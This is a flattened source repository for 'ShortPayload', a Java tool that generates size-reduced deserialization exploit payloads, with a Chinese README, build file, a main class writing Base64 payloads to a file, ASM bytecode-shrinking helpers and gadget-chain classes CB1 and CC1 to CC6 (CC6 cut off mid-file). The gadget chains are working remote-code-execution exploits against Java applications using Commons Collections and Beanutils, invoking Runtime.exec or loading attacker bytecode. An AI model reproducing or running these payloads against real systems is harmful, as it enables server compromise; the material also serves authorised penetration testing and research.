├── .gitignore ├── LICENSE ├── README.md ├── pom.xml └── src └── main └── java └── org └── sec ├── Main.java ├── asm ├── Resolver.java ├── ShortClassVisitor.java └── ShortMethodAdapter.java └── payload ├── CB1.java ├── CC1.java ├── CC2.java ├── CC3.java ├── CC4.java ├── CC5.java ├── CC6.java ├── CC7.java ├── CCK1.java ├── CCK2.java ├── CCK3.java ├── CCK4.java ├── Generator.java └── Payload.java /.gitignore: -------------------------------------------------------------------------------- 1 | # Operating System Files 2 | 3 | *.DS_Store 4 | Thumbs.db 5 | *.sw? 6 | .#* 7 | *# 8 | *~ 9 | *.sublime-* 10 | 11 | # Build Artifacts 12 | 13 | .gradle/ 14 | build/ 15 | target/ 16 | bin/ 17 | dependency-reduced-pom.xml 18 | 19 | # Eclipse Project Files 20 | 21 | .classpath 22 | .project 23 | .settings/ 24 | 25 | # IntelliJ IDEA Files 26 | 27 | *.iml 28 | *.ipr 29 | *.iws 30 | *.idea -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | 2 | Apache License 3 | Version 2.0, January 2004 4 | http://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. Definitions. 9 | 10 | "License" shall mean the terms and conditions for use, reproduction, 11 | and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by 14 | the copyright owner that is granting the License. 15 | 16 | "Legal Entity" shall mean the union of the acting entity and all 17 | other entities that control, are controlled by, or are under common 18 | control with that entity. For the purposes of this definition, 19 | "control" means (i) the power, direct or indirect, to cause the 20 | direction or management of such entity, whether by contract or 21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 22 | outstanding shares, or (iii) beneficial ownership of such entity. 23 | 24 | "You" (or "Your") shall mean an individual or Legal Entity 25 | exercising permissions granted by this License. 26 | 27 | "Source" form shall mean the preferred form for making modifications, 28 | including but not limited to software source code, documentation 29 | source, and configuration files. 30 | 31 | "Object" form shall mean any form resulting from mechanical 32 | transformation or translation of a Source form, including but 33 | not limited to compiled object code, generated documentation, 34 | and conversions to other media types. 35 | 36 | "Work" shall mean the work of authorship, whether in Source or 37 | Object form, made available under the License, as indicated by a 38 | copyright notice that is included in or attached to the work 39 | (an example is provided in the Appendix below). 40 | 41 | "Derivative Works" shall mean any work, whether in Source or Object 42 | form, that is based on (or derived from) the Work and for which the 43 | editorial revisions, annotations, elaborations, or other modifications 44 | represent, as a whole, an original work of authorship. For the purposes 45 | of this License, Derivative Works shall not include works that remain 46 | separable from, or merely link (or bind by name) to the interfaces of, 47 | the Work and Derivative Works thereof. 48 | 49 | "Contribution" shall mean any work of authorship, including 50 | the original version of the Work and any modifications or additions 51 | to that Work or Derivative Works thereof, that is intentionally 52 | submitted to Licensor for inclusion in the Work by the copyright owner 53 | or by an individual or Legal Entity authorized to submit on behalf of 54 | the copyright owner. For the purposes of this definition, "submitted" 55 | means any form of electronic, verbal, or written communication sent 56 | to the Licensor or its representatives, including but not limited to 57 | communication on electronic mailing lists, source code control systems, 58 | and issue tracking systems that are managed by, or on behalf of, the 59 | Licensor for the purpose of discussing and improving the Work, but 60 | excluding communication that is conspicuously marked or otherwise 61 | designated in writing by the copyright owner as "Not a Contribution." 62 | 63 | "Contributor" shall mean Licensor and any individual or Legal Entity 64 | on behalf of whom a Contribution has been received by Licensor and 65 | subsequently incorporated within the Work. 66 | 67 | 2. Grant of Copyright License. Subject to the terms and conditions of 68 | this License, each Contributor hereby grants to You a perpetual, 69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 70 | copyright license to reproduce, prepare Derivative Works of, 71 | publicly display, publicly perform, sublicense, and distribute the 72 | Work and such Derivative Works in Source or Object form. 73 | 74 | 3. Grant of Patent License. Subject to the terms and conditions of 75 | this License, each Contributor hereby grants to You a perpetual, 76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 77 | (except as stated in this section) patent license to make, have made, 78 | use, offer to sell, sell, import, and otherwise transfer the Work, 79 | where such license applies only to those patent claims licensable 80 | by such Contributor that are necessarily infringed by their 81 | Contribution(s) alone or by combination of their Contribution(s) 82 | with the Work to which such Contribution(s) was submitted. If You 83 | institute patent litigation against any entity (including a 84 | cross-claim or counterclaim in a lawsuit) alleging that the Work 85 | or a Contribution incorporated within the Work constitutes direct 86 | or contributory patent infringement, then any patent licenses 87 | granted to You under this License for that Work shall terminate 88 | as of the date such litigation is filed. 89 | 90 | 4. Redistribution. You may reproduce and distribute copies of the 91 | Work or Derivative Works thereof in any medium, with or without 92 | modifications, and in Source or Object form, provided that You 93 | meet the following conditions: 94 | 95 | (a) You must give any other recipients of the Work or 96 | Derivative Works a copy of this License; and 97 | 98 | (b) You must cause any modified files to carry prominent notices 99 | stating that You changed the files; and 100 | 101 | (c) You must retain, in the Source form of any Derivative Works 102 | that You distribute, all copyright, patent, trademark, and 103 | attribution notices from the Source form of the Work, 104 | excluding those notices that do not pertain to any part of 105 | the Derivative Works; and 106 | 107 | (d) If the Work includes a "NOTICE" text file as part of its 108 | distribution, then any Derivative Works that You distribute must 109 | include a readable copy of the attribution notices contained 110 | within such NOTICE file, excluding those notices that do not 111 | pertain to any part of the Derivative Works, in at least one 112 | of the following places: within a NOTICE text file distributed 113 | as part of the Derivative Works; within the Source form or 114 | documentation, if provided along with the Derivative Works; or, 115 | within a display generated by the Derivative Works, if and 116 | wherever such third-party notices normally appear. The contents 117 | of the NOTICE file are for informational purposes only and 118 | do not modify the License. You may add Your own attribution 119 | notices within Derivative Works that You distribute, alongside 120 | or as an addendum to the NOTICE text from the Work, provided 121 | that such additional attribution notices cannot be construed 122 | as modifying the License. 123 | 124 | You may add Your own copyright statement to Your modifications and 125 | may provide additional or different license terms and conditions 126 | for use, reproduction, or distribution of Your modifications, or 127 | for any such Derivative Works as a whole, provided Your use, 128 | reproduction, and distribution of the Work otherwise complies with 129 | the conditions stated in this License. 130 | 131 | 5. Submission of Contributions. Unless You explicitly state otherwise, 132 | any Contribution intentionally submitted for inclusion in the Work 133 | by You to the Licensor shall be under the terms and conditions of 134 | this License, without any additional terms or conditions. 135 | Notwithstanding the above, nothing herein shall supersede or modify 136 | the terms of any separate license agreement you may have executed 137 | with Licensor regarding such Contributions. 138 | 139 | 6. Trademarks. This License does not grant permission to use the trade 140 | names, trademarks, service marks, or product names of the Licensor, 141 | except as required for reasonable and customary use in describing the 142 | origin of the Work and reproducing the content of the NOTICE file. 143 | 144 | 7. Disclaimer of Warranty. Unless required by applicable law or 145 | agreed to in writing, Licensor provides the Work (and each 146 | Contributor provides its Contributions) on an "AS IS" BASIS, 147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 148 | implied, including, without limitation, any warranties or conditions 149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 150 | PARTICULAR PURPOSE. You are solely responsible for determining the 151 | appropriateness of using or redistributing the Work and assume any 152 | risks associated with Your exercise of permissions under this License. 153 | 154 | 8. Limitation of Liability. In no event and under no legal theory, 155 | whether in tort (including negligence), contract, or otherwise, 156 | unless required by applicable law (such as deliberate and grossly 157 | negligent acts) or agreed to in writing, shall any Contributor be 158 | liable to You for damages, including any direct, indirect, special, 159 | incidental, or consequential damages of any character arising as a 160 | result of this License or out of the use or inability to use the 161 | Work (including but not limited to damages for loss of goodwill, 162 | work stoppage, computer failure or malfunction, or any and all 163 | other commercial damages or losses), even if such Contributor 164 | has been advised of the possibility of such damages. 165 | 166 | 9. Accepting Warranty or Additional Liability. While redistributing 167 | the Work or Derivative Works thereof, You may choose to offer, 168 | and charge a fee for, acceptance of support, warranty, indemnity, 169 | or other liability obligations and/or rights consistent with this 170 | License. However, in accepting such obligations, You may act only 171 | on Your own behalf and on Your sole responsibility, not on behalf 172 | of any other Contributor, and only if You agree to indemnify, 173 | defend, and hold each Contributor harmless for any liability 174 | incurred by, or claims asserted against, such Contributor by reason 175 | of your accepting any such warranty or additional liability. 176 | 177 | END OF TERMS AND CONDITIONS 178 | 179 | APPENDIX: How to apply the Apache License to your work. 180 | 181 | To apply the Apache License to your work, attach the following 182 | boilerplate notice, with the fields enclosed by brackets "[]" 183 | replaced with your own identifying information. (Don't include 184 | the brackets!) The text should be enclosed in the appropriate 185 | comment syntax for the file format. We also recommend that a 186 | file or class name and description of purpose be included on the 187 | same "printed page" as the copyright notice for easier 188 | identification within third-party archives. 189 | 190 | Copyright [yyyy] [name of copyright owner] 191 | 192 | Licensed under the Apache License, Version 2.0 (the "License"); 193 | you may not use this file except in compliance with the License. 194 | You may obtain a copy of the License at 195 | 196 | http://www.apache.org/licenses/LICENSE-2.0 197 | 198 | Unless required by applicable law or agreed to in writing, software 199 | distributed under the License is distributed on an "AS IS" BASIS, 200 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 201 | See the License for the specific language governing permissions and 202 | limitations under the License. 203 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ShortPayload 2 | 3 | 极致缩小`Java`反序列化`Payload` 4 | 5 | 使用：`java -jar ShortPayload.jar [gadget-name] [command]` 6 | 7 | 例如：`java -jar ShortPayload.jar CC6 "calc.exe"` 8 | 9 | 相关技术文章：https://xz.aliyun.com/t/10824 10 | 11 | ## 效果 12 | 13 | 注意：这里的长度是指反序列化`Payload`进行`Base64`编码后的长度 14 | 15 | | 反序列化链 | YSOSERIAL长度 | 缩小后长度 | 缩小率 | 16 | |:--------------------:|:-----------:|:-----:|:-----:| 17 | | CommonsBeanutils1 | 3692 | 1296 | 64.8% | 18 | | CommonsCollections1 | 1868 | 1748 | 6.4% | 19 | | CommonsCollections2 | 4176 | 1708 | 41.4% | 20 | | CommonsCollections3 | 4784 | 2444 | 48.9% | 21 | | CommonsCollections4 | 4720 | 2256 | 52.2% | 22 | | CommonsCollections5 | 2772 | 3044 | -8.9% | 23 | | CommonsCollections6 | 1708 | 1560 | 8.6% | 24 | | CommonsCollections7 | 1700 | 1636 | 3.7% | 25 | | CommonsCollectionsK1 | 2464 | 1708 | 30.6% | 26 | | CommonsCollectionsK2 | 2472 | 1716 | 30.5% | 27 | | CommonsCollectionsK3 | 1644 | 1604 | 2.4% | 28 | | CommonsCollectionsK4 | 1652 | 1612 | 2.4% | 29 | 30 | 31 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.sec 8 | ShortPayload 9 | 1.0 10 | 11 | 12 | 8 13 | 8 14 | 15 | UTF-8 16 | 17 | true 18 | 19 | 20 | 21 | 22 | commons-beanutils 23 | commons-beanutils 24 | 1.9.2 25 | 26 | 27 | org.apache.commons 28 | commons-collections4 29 | 4.0 30 | 31 | 32 | org.ow2.asm 33 | asm 34 | 9.2 35 | 36 | 37 | org.ow2.asm 38 | asm-commons 39 | 9.2 40 | 41 | 42 | org.javassist 43 | javassist 44 | 3.28.0-GA 45 | 46 | 47 | 48 | 49 | 50 | 51 | maven-assembly-plugin 52 | 53 | false 54 | 55 | jar-with-dependencies 56 | 57 | 58 | 59 | org.sec.Main 60 | 61 | 62 | 63 | 64 | 65 | make-assembly 66 | package 67 | 68 | assembly 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /src/main/java/org/sec/Main.java: -------------------------------------------------------------------------------- 1 | package org.sec; 2 | 3 | import org.sec.asm.Resolver; 4 | import org.sec.payload.*; 5 | 6 | import java.io.File; 7 | import java.lang.reflect.Method; 8 | import java.nio.file.Files; 9 | import java.nio.file.Paths; 10 | import java.util.Base64; 11 | import java.util.Locale; 12 | 13 | public class Main { 14 | private static String gadgetName; 15 | private static String command; 16 | private static boolean debug = false; 17 | 18 | public static void main(String[] args) throws Exception { 19 | parseInput(args); 20 | switch (gadgetName) { 21 | case "CB1": 22 | System.out.println("CommonsBeanutils1"); 23 | resolveTemplatesPayload(CB1.class, command, debug); 24 | break; 25 | case "CC1": 26 | System.out.println("CommonsCollections1"); 27 | resolveNormalPayload(CC1.class, command, debug); 28 | break; 29 | case "CC2": 30 | System.out.println("CommonsCollections2"); 31 | resolveTemplatesPayload(CC2.class, command, debug); 32 | break; 33 | case "CC3": 34 | System.out.println("CommonsCollections3"); 35 | resolveTemplatesPayload(CC3.class, command, debug); 36 | break; 37 | case "CC4": 38 | System.out.println("CommonsCollections4"); 39 | resolveTemplatesPayload(CC4.class, command, debug); 40 | break; 41 | case "CC5": 42 | System.out.println("CommonsCollections5"); 43 | resolveNormalPayload(CC5.class, command, debug); 44 | break; 45 | case "CC6": 46 | System.out.println("CommonsCollections6"); 47 | resolveNormalPayload(CC6.class, command, debug); 48 | break; 49 | case "CC7": 50 | System.out.println("CommonsCollections7"); 51 | resolveNormalPayload(CC7.class, command, debug); 52 | break; 53 | case "CCK1": 54 | System.out.println("CommonsCollectionsK1"); 55 | resolveTemplatesPayload(CCK1.class, command, debug); 56 | break; 57 | case "CCK2": 58 | System.out.println("CommonsCollectionsK2"); 59 | resolveTemplatesPayload(CCK2.class, command, debug); 60 | break; 61 | case "CCK3": 62 | System.out.println("CommonsCollectionsK3"); 63 | resolveNormalPayload(CCK3.class, command, debug); 64 | break; 65 | case "CCK4": 66 | System.out.println("CommonsCollectionsK4"); 67 | resolveNormalPayload(CCK4.class, command, debug); 68 | break; 69 | default: 70 | System.out.println("error gadget name"); 71 | } 72 | } 73 | 74 | private static void parseInput(String[] args) { 75 | if (args.length < 2) { 76 | System.out.println("usage: java -jar ShortPayload.jar [gadget-name] [command]"); 77 | return; 78 | } else if (args.length == 3) { 79 | gadgetName = args[0]; 80 | command = args[1]; 81 | debug = true; 82 | } else { 83 | gadgetName = args[0]; 84 | command = args[1]; 85 | } 86 | if ((command.startsWith("'") && command.endsWith("'")) || 87 | (command.startsWith("\"") && command.endsWith("\""))) { 88 | command = command.substring(1, command.length() - 1); 89 | } 90 | gadgetName = gadgetName.toUpperCase(Locale.ROOT); 91 | } 92 | 93 | private static void resolveNormalPayload(Class target, 94 | String command, boolean debug) throws Exception { 95 | Method method = target.getMethod("getPayloadUseCommand", String.class); 96 | byte[] payload = (byte[]) method.invoke(null, command); 97 | byte[] data = Base64.getEncoder().encode(payload); 98 | System.out.println("Payload length: " + new String(data).length()); 99 | System.out.println("Write Base64 Payload output.txt..."); 100 | Files.write(Paths.get("output.txt"), data); 101 | if (debug) { 102 | Payload.deserialize(Base64.getDecoder().decode(data)); 103 | } 104 | } 105 | 106 | @SuppressWarnings("all") 107 | private static void resolveTemplatesPayload(Class target, 108 | String command, boolean debug) throws Exception { 109 | String path = System.getProperty("user.dir") + File.separator + "Evil.class"; 110 | Generator.saveTemplateImpl(path, command); 111 | Resolver.resolve("Evil.class"); 112 | byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class")); 113 | Method method = target.getMethod("getPayloadUseByteCodes", byte[].class); 114 | byte[] payload = Base64.getEncoder().encode((byte[]) method.invoke(null, newByteCodes)); 115 | System.out.println("Payload length: " + new String(payload).length()); 116 | System.out.println("Write Base64 Payload output.txt..."); 117 | Files.write(Paths.get("output.txt"), payload); 118 | if (debug) { 119 | Payload.deserialize(Base64.getDecoder().decode(payload)); 120 | } 121 | Files.delete(Paths.get("Evil.class")); 122 | } 123 | } 124 | -------------------------------------------------------------------------------- /src/main/java/org/sec/asm/Resolver.java: -------------------------------------------------------------------------------- 1 | package org.sec.asm; 2 | 3 | import org.objectweb.asm.ClassReader; 4 | import org.objectweb.asm.ClassVisitor; 5 | import org.objectweb.asm.ClassWriter; 6 | import org.objectweb.asm.Opcodes; 7 | 8 | import java.nio.file.Files; 9 | import java.nio.file.Paths; 10 | 11 | 12 | public class Resolver { 13 | public static void resolve(String path) { 14 | try { 15 | byte[] bytes = Files.readAllBytes(Paths.get(path)); 16 | ClassReader cr = new ClassReader(bytes); 17 | ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); 18 | int api = Opcodes.ASM9; 19 | ClassVisitor cv = new ShortClassVisitor(api, cw); 20 | int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES; 21 | cr.accept(cv, parsingOptions); 22 | byte[] out = cw.toByteArray(); 23 | Files.write(Paths.get(path), out); 24 | } catch (Exception e) { 25 | e.printStackTrace(); 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /src/main/java/org/sec/asm/ShortClassVisitor.java: -------------------------------------------------------------------------------- 1 | package org.sec.asm; 2 | 3 | import org.objectweb.asm.ClassVisitor; 4 | import org.objectweb.asm.MethodVisitor; 5 | 6 | public class ShortClassVisitor extends ClassVisitor { 7 | private final int api; 8 | 9 | public ShortClassVisitor(int api, ClassVisitor classVisitor) { 10 | super(api, classVisitor); 11 | this.api = api; 12 | } 13 | 14 | @Override 15 | public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { 16 | // delete transform method 17 | if (name.equals("transform")) { 18 | return null; 19 | } 20 | MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); 21 | return new ShortMethodAdapter(this.api, mv, name); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /src/main/java/org/sec/asm/ShortMethodAdapter.java: -------------------------------------------------------------------------------- 1 | package org.sec.asm; 2 | 3 | import org.objectweb.asm.Label; 4 | import org.objectweb.asm.MethodVisitor; 5 | import org.objectweb.asm.Opcodes; 6 | 7 | public class ShortMethodAdapter extends MethodVisitor implements Opcodes { 8 | 9 | public ShortMethodAdapter(int api, MethodVisitor mv, String methodName) { 10 | super(api,mv); 11 | } 12 | 13 | @Override 14 | public void visitLineNumber(int line, Label start) { 15 | // delete line number 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/main/java/org/sec/payload/CB1.java: -------------------------------------------------------------------------------- 1 | package org.sec.payload; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 5 | import org.apache.commons.beanutils.BeanComparator; 6 | 7 | import java.util.PriorityQueue; 8 | 9 | @SuppressWarnings("all") 10 | public class CB1 extends Payload { 11 | public static byte[] getPayloadUseCommand(String cmd) { 12 | byte[] code = Generator.getTemplateImplBytes(cmd); 13 | return getPayloadUseByteCodes(code); 14 | } 15 | 16 | public static byte[] getPayloadUseByteCodes(byte[] byteCodes) { 17 | try { 18 | TemplatesImpl templates = new TemplatesImpl(); 19 | setFieldValue(templates, "_bytecodes", new byte[][]{byteCodes}); 20 | setFieldValue(templates, "_name", "t"); 21 | setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); 22 | final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); 23 | final PriorityQueue queue = new PriorityQueue(2, comparator); 24 | queue.add("1"); 25 | queue.add("1"); 26 | setFieldValue(comparator, "property", "outputProperties"); 27 | setFieldValue(queue, "queue", new Object[]{templates, templates}); 28 | return serialize(queue); 29 | } catch (Exception e) { 30 | e.printStackTrace(); 31 | } 32 | return new byte[]{}; 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /src/main/java/org/sec/payload/CC1.java: -------------------------------------------------------------------------------- 1 | package org.sec.payload; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.ChainedTransformer; 5 | import org.apache.commons.collections.functors.ConstantTransformer; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.map.LazyMap; 8 | 9 | import java.lang.reflect.Constructor; 10 | import java.lang.reflect.InvocationHandler; 11 | import java.lang.reflect.Proxy; 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | public class CC1 extends Payload { 16 | @SuppressWarnings("all") 17 | public static byte[] getPayloadUseCommand(String cmd) { 18 | try { 19 | Transformer[] transformers = new Transformer[]{ 20 | new ConstantTransformer(Runtime.class), 21 | new InvokerTransformer("getMethod", 22 | new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), 23 | new InvokerTransformer("invoke", 24 | new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), 25 | new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) 26 | }; 27 | Transformer chainedTransformer = new ChainedTransformer(transformers); 28 | Map uselessMap = new HashMap(); 29 | Map lazyMap = LazyMap.decorate(uselessMap, chainedTransformer); 30 | Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 31 | Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); 32 | constructor.setAccessible(true); 33 | InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap); 34 | Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), 35 | LazyMap.class.getInterfaces(), handler); 36 | InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy); 37 | return serialize(handler1); 38 | } catch (Exception e) { 39 | e.printStackTrace(); 40 | } 41 | return new byte[]{}; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /src/main/java/org/sec/payload/CC2.java: -------------------------------------------------------------------------------- 1 | package org.sec.payload; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 5 | import org.apache.commons.collections4.comparators.TransformingComparator; 6 | import org.apache.commons.collections4.functors.InvokerTransformer; 7 | 8 | import java.util.PriorityQueue; 9 | 10 | public class CC2 extends Payload { 11 | @SuppressWarnings("all") 12 | public static byte[] getPayloadUseByteCodes(byte[] byteCodes) { 13 | try { 14 | TemplatesImpl templates = new TemplatesImpl(); 15 | setFieldValue(templates, "_bytecodes", new byte[][]{byteCodes}); 16 | setFieldValue(templates, "_name", "t"); 17 | InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", 18 | new Class[]{}, new Object[]{}); 19 | TransformingComparator comparator = new TransformingComparator(invokerTransformer); 20 | PriorityQueue priorityQueue = new PriorityQueue(2); 21 | priorityQueue.add(1); 22 | priorityQueue.add(1); 23 | Object[] objects = new Object[]{templates, templates}; 24 | setFieldValue(priorityQueue, "queue", objects); 25 | setFieldValue(priorityQueue, "comparator", comparator); 26 | return serialize(priorityQueue); 27 | } catch (Exception e) { 28 | e.printStackTrace(); 29 | } 30 | return new byte[]{}; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/main/java/org/sec/payload/CC3.java: -------------------------------------------------------------------------------- 1 | package org.sec.payload; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 5 | import org.apache.commons.collections.map.LazyMap; 6 | import org.apache.commons.collections.Transformer; 7 | import org.apache.commons.collections.functors.ChainedTransformer; 8 | import org.apache.commons.collections.functors.ConstantTransformer; 9 | import org.apache.commons.collections.functors.InstantiateTransformer; 10 | 11 | import javax.xml.transform.Templates; 12 | import java.lang.reflect.Constructor; 13 | import java.lang.reflect.InvocationHandler; 14 | import java.lang.reflect.Proxy; 15 | import java.util.HashMap; 16 | import java.util.Map; 17 | 18 | public class CC3 extends Payload { 19 | @SuppressWarnings("all") 20 | public static byte[] getPayloadUseByteCodes(byte[] byteCodes) { 21 | try { 22 | TemplatesImpl templates = new TemplatesImpl(); 23 | setFieldValue(templates, "_bytecodes", new byte[][]{byteCodes}); 24 | setFieldValue(templates, "_name", "t"); 25 | Transformer[] transformers = new Transformer[]{ 26 | new ConstantTransformer(TrAXFilter.class), 27 | new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) 28 | }; 29 | ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); 30 | Map uselessMap = new HashMap(); 31 | Map lazyMap = LazyMap.decorate(uselessMap, chainedTransformer); 32 | Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 33 | Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); 34 | constructor.setAccessible(true); 35 | InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap); 36 | Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), 37 | LazyMap.class.getInterfaces(), handler); 38 | InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy); 39 | return serialize(handler1); 40 | } catch (Exception e) { 41 | e.printStackTrace(); 42 | } 43 | return new byte[]{}; 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /src/main/java/org/sec/payload/CC4.java: -------------------------------------------------------------------------------- 1 | package org.sec.payload; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 5 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 6 | import org.apache.commons.collections4.Transformer; 7 | import org.apache.commons.collections4.comparators.TransformingComparator; 8 | import org.apache.commons.collections4.functors.ChainedTransformer; 9 | import org.apache.commons.collections4.functors.ConstantTransformer; 10 | import org.apache.commons.collections4.functors.InstantiateTransformer; 11 | 12 | import javax.xml.transform.Templates; 13 | import java.util.PriorityQueue; 14 | 15 | public class CC4 extends Payload { 16 | @SuppressWarnings("all") 17 | public static byte[] getPayloadUseByteCodes(byte[] byteCodes) { 18 | try { 19 | TemplatesImpl templates = new TemplatesImpl(); 20 | setFieldValue(templates, "_bytecodes", new byte[][]{byteCodes}); 21 | setFieldValue(templates, "_name", "t"); 22 | setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); 23 | Transformer[] transformers = new Transformer[]{ 24 | new ConstantTransformer(TrAXFilter.class), 25 | new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) 26 | }; 27 | ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); 28 | TransformingComparator comparator = new TransformingComparator(chainedTransformer); 29 | PriorityQueue priorityQueue = new PriorityQueue(2); 30 | priorityQueue.add(1); 31 | priorityQueue.add(1); 32 | Object[] objects = new Object[]{templates, templates}; 33 | setFieldValue(priorityQueue, "queue", objects); 34 | setFieldValue(priorityQueue, "comparator", comparator); 35 | return serialize(priorityQueue); 36 | } catch (Exception e) { 37 | e.printStackTrace(); 38 | } 39 | return new byte[]{}; 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/org/sec/payload/CC5.java: -------------------------------------------------------------------------------- 1 | package org.sec.payload; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.ChainedTransformer; 5 | import org.apache.commons.collections.functors.ConstantTransformer; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections.map.LazyMap; 9 | 10 | import javax.management.BadAttributeValueExpException; 11 | import java.lang.reflect.Field; 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | public class CC5 extends Payload { 16 | @SuppressWarnings("all") 17 | public static byte[] getPayloadUseCommand(String cmd) { 18 | try { 19 | final Transformer transformerChain = new ChainedTransformer( 20 | new Transformer[]{new ConstantTransformer(1)}); 21 | final Transformer[] transformers = new Transformer[]{ 22 | new ConstantTransformer(Runtime.class), 23 | new InvokerTransformer("getMethod", new Class[]{ 24 | String.class, Class[].class}, new Object[]{ 25 | "getRuntime", new Class[0]}), 26 | new InvokerTransformer("invoke", new Class[]{ 27 | Object.class, Object[].class}, new Object[]{ 28 | null, new Object[0]}), 29 | new InvokerTransformer("exec", 30 | new Class[]{String.class}, new Object[]{cmd}), 31 | new ConstantTransformer(1)}; 32 | final Map innerMap = new HashMap(); 33 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 34 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); 35 | BadAttributeValueExpException val = new BadAttributeValueExpException(null); 36 | Field valfield = val.getClass().getDeclaredField("val"); 37 | valfield.setAccessible(true); 38 | valfield.set(val, entry); 39 | setFieldValue(transformerChain, "iTransformers", transformers); 40 | return serialize(val); 41 | } catch (Exception e) { 42 | e.printStackTrace(); 43 | } 44 | return new byte[]{}; 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /src/main/java/org/sec/payload/CC6.java: -------------------------------------------------------------------------------- 1 | package org.sec.payload; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.ChainedTransformer; 5 | import org.apache.commons.collections.functors.ConstantTransformer; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections.map.LazyMap; 9 | 10 | import java.lang.reflect.Field; 11 | import java.util.HashMap; 12 | import java.util.HashSet; 13 | import java.util.Map; 14 | 15 | public class CC6 extends Payload { 16 | @SuppressWarnings("all") 17 | public static byte[] getPayloadUseCommand(String cmd) { 18 | try { 19 | Transformer transformer = new ChainedTransformer(new Transformer[]{}); 20 | Transformer[] transformers = new Transformer[]{ 21 | new ConstantTransformer(Runtime.class), 22 | new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, 23 | new Object[]{"getRuntime", new Class[]{}}), 24 | new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, 25 | new Object[]{null, new Object[]{}}), 26 | new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) 27 | }; 28 | Map map = new HashMap(); 29 | Map lazyMap = LazyMap.decorate(map, transformer); 30 | TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test"); 31 | HashSet hashSet = new HashSet(1); 32 | hashSet.add(tiedMapEntry); 33 | lazyMap.remove("test"); 34 | Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); 35 | field.setAccessible(true); 36 | field.set(transformer, 